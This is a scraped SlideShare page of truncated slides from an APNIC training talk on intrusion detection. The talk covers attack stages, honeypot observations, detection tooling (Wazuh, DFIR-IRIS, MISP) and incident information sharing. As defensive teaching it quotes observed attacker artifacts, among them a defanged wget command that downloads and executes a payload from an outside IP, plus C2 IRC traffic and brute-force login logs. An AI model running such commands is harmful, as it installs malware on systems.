2023 NCIT: Introduction to Intrusion Detection

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Introduction to Intrusion
Detection
Adli Wahid
adli@apnic.net

Let’s Connect!
Adli Wahid (LinkedIn)

The Plan
oObjectives
oAwareness about how threats are executed
oImportance of knowledge driven security
oThinking Process
...

We are Under Attack!

Perspective & Context
• Successful or Attempts
• Example:
oActual Login OR
oPort scanning
• Example
• Actual Login AND / O...

Where does it fit?
Identify Protect Detect Respond Recover
NIST Cyber Security Framework (v1)
6

Detection
• Key concept in security monitoring, ”detection
engineering”
• Know Your Enemy
• You are the target
• Attacker ...

Observing Attacks
• From APNIC Community Honeynet Project

Multiple Stages
• Typical
o Scanning
o Initial Access
o Execution
o Initial infection
o Actual Payload
o Persistence
• Arc...

Knock, Knock!
Timestamp, src_ip, username_attempted, password_attempted
2022-01-13T01:05:26.128718, 117.111.1.143,root,roo...

Once Inside
Src_ip, URL
58.212.107.27,hxxp://61.177.137.133/x/1sh,CN
67.172.200.77,hxxp://61.177.137.133/x/1sh,US
93.131.1...

Execution – The Script
wget hxxp://61.177.137.133/x/tty0 -O /var/run/tty0 ; chmod +x /var/run/tty0 ; chmod 777
/var/run/tt...

Communication with Command and Control
Server
1. Malware Download
05/25/2021-02:14:51.304265 [**] [1:2019240:14] ET POLICY...

C2
B B
B
B B
NICK x86|x|1|919043|server
USER x00 localhost localhost :2021g
:IRC!IRC@0x.01 PRIVMSG x86|x|1|919043|server :...

Adversary Tactic & Techniques
• Framework / Knowledge Base of adversary tactic (goals) and
techniques (the how) based on r...

What Are The Detection Opportunities?
• System / Host
• Service
• Disk
• RAM
• Network
• Src/DST, Payload, Certificates
• ...

Threat Intel Databases
• Purpose:
o Look up your own assets
o Indicators that you can use to monitor (hunt)
• Free & Comme...

File Integrity Monitoring
• Changes to disk
• Is it authorized? What is it?
o /etc/resolv.conf
o New Crontab entries
o Reg...

Other Activities On Host
• Adding / Removing /Modifying
• Users
• Services
• Applications
• Files
• Config
• CPU / Process...

Network
• Compromised host need to call home!
• Detection based on content/headers of network packets
o (Known) Exploits
o...

Encrypted Traffic

It’s always the DNS
• DNS
oIf host is looking up known malicious or suspicious domain
oEven if it is block or prevented **...

Honeypots & Honey Tokens
• How do we know if attackers are in our infrastructure?
• Exploit attackers activities
o Lateral...

HoneyTokens
www.canarytokens.org

Detection by Others
• IPs from your network scanning/attacking other hosts on the
Internet
• One of your server hosting ma...

Get Notified
Shodan.io
Haveibeenpwned.com
Daily Scans with API

Security.txt
• Security Contact information on your website
• www.yourdomain.com/security.txt
• Basically information – on...

CERT/CSIRT
• Dedicated team for dealing with incidents
• Monitor emails
• Integrate with ticketing system / Slack alert et...

Wrapping UP
• Detection is a critical concept
o Mitigate attack in progress
o Improve security policies / Better Controls
...

Learning More
• Check out some free courses with Labs on
https://academy.apnic.net
oSecurity Monitoring
oHoneypot
o Surica...

Day #5
• Recap of Day #4
• Traffic light protocol
• Systems / Demo
o Wazuh
oDFIR-IRIS (Case Management)
oMISP – Community ...

Day 4 Recap
• MITRE Attack Framework
• Understanding stages of attack
• Break down into Tactic & Teqniques
• Breack down b...

Sharing - Rules of Engagement
• Important for building trust!
o Need to know basis
• Telling others:
• How the information...

FIRST.org Traffic Light Protocol -
https://www.first.org/tlp/

Tools for Enabling Sharing (and Investigation)
EDR / SIEM
/etc /
Security
Monitoring
Case /
Incident
Management
INTERNAL
C...

Tools for Enabling Sharing (and Investigation)
Wazuh DFIR-IRIS
INTERNAL
MISP
Community
Other
Community
Threat
Sharing
Plat...

Wazuh
owww.wazuh.com
oSIEM / EDR – Free & Open Source
oFile Integrity Monitoring
oAuthentication
oIntegration with other t...

Wazuh
• File Integrity Monitoring
• VirusTotal (API needed)
• Suricata Alerts
• Authentication
• Vulnerability Management
...

DFIR-IRIS
• Track Elements observed during investigation
• Collaboration - share pieces of information between analysts
• ...

DFIR-IRIS
• Adding Cases from investigation
• Adding IOCs
• Asset Link
• Assigning Task
• Timeline
• Integration with othe...

MISP
• Threat Sharing Platform for Community
• Open Source and Free
• Many Community Uses it
• Demo
• Adding Events
• Addi...

Operational Security
• Ethical (https://www.ethicsfirst.org)
• Dealing with malicious activities and criminal infrastructu...

Moving Forward – FJ Critical Infrastructure
Group
• Rethink about improving your security
o https://github.com/certsociete...

Discussion
Contact
adli@apnic.net
Adli Wahid on LinkedIN

Thank You
Adli Wahid (LinkedIn)
adli@apnic.net
www.apnic.net

Share SlideShare

Facebook
Twitter
LinkedIn

Embed

Size (px)

Show related SlideShares at end

WordPress Shortcode

Link

Share
Email

2024 Trend Updates: What Really Wor... by Search Engine Jou... 545284 views
Storytelling For The Web: Integrate... by Chiara Aliotta 433420 views
Artificial Intelligence, Data and C... by OECD Directorate ... 308718 views
How to Leverage AI to Boost Employe... by SocialHRCamp 133046 views
2024 State of Marketing Report – by... by Marius Sescu 113176 views
Everything You Need To Know About C... by Expeed Software 149056 views

Top clipped slide

View on SlideShare

1 of 47 Ad

1 of 47 Ad